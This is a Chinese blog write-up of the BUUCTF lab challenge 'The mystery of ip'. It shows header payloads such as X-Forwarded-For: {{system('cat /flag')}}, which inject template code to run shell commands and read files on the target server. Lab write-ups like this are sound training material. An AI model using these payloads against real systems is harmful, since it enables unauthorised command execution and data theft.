BUUCTF——The mystery of ip

最新推荐文章于 2025-05-02 20:48:46 发布

可怜的Tom被玩弄于股掌之中

最新推荐文章于 2025-05-02 20:48:46 发布

阅读量195

点赞数 6

分类专栏： BUUCTF 文章标签： web安全网络安全网络安全

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/weixin_71914594/article/details/147553426

版权

BUUCTF 专栏收录该内容

5 篇文章

订阅专栏

BUUCTF——The mystery of ip

进入靶场

在这里插入图片描述

有几个功能点，点来看看

flag.php

在这里插入图片描述

hint.php

在这里插入图片描述

没什么发现

目录扫描

扫个目录看看

在这里插入图片描述

扫出来个/.DS_Store

http://node5.buuoj.cn:28576/.DS_Store

下载下来什么也没有什么有用的信息

翻翻Yakit包看看有没有什么能用的东西

flag.php结合题目 The mystery of ip

漏洞利用

构造个XFF试试

X-Forwarded-For: 127.0.0.1

在这里插入图片描述

可以利用

这下就好解决了

构造payload

X-Forwarded-For: {{system('ls')}}

在这里插入图片描述

试了一下显示不了，还以为不行

用hackbar试了一下

在这里插入图片描述

拿到数据

在这里插入图片描述

Yakit抓包的时候能显示，一放到Web Fuzzer里就没了

还是直接hackbar吧，能用就行

慢慢找吧

看看根目录

X-Forwarded-For: {{system('ls /')}}

在这里插入图片描述

在根目录下找到个flag文件

直接cat看看

X-Forwarded-For: {{system('cat /flag')}}

在这里插入图片描述

拿到flag

flag{af94ef81-1cc0-4399-a32f-4493e1c9ce5f}

在这里插入图片描述

下播！

在这里插入图片描述

评论

被折叠的条评论为什么被折叠?

到【灌水乐园】发言

查看更多评论

添加红包

成就一亿技术人!

hope_wisdom

发出的红包

实付元

使用余额支付

点击重新获取

扫码支付

钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。